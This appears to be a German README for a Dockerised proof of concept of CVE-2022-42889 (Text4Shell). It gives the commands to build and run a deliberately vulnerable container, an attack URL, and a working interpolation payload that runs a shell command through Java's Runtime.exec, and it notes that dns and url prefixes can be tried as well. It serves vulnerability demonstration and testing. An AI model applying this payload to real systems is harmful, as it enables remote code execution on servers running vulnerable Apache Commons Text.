
Dockerisierter POC für CVE-2022-42889 Text4Shell
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Du kannst auch die Präfixe dns oder url ausprobieren.
Container-ID abrufen
docker container ls
docker exec -it <container_id> bash
foo im Verzeichnis /tmp sehen):ls /tmp/
docker container stop <container_id>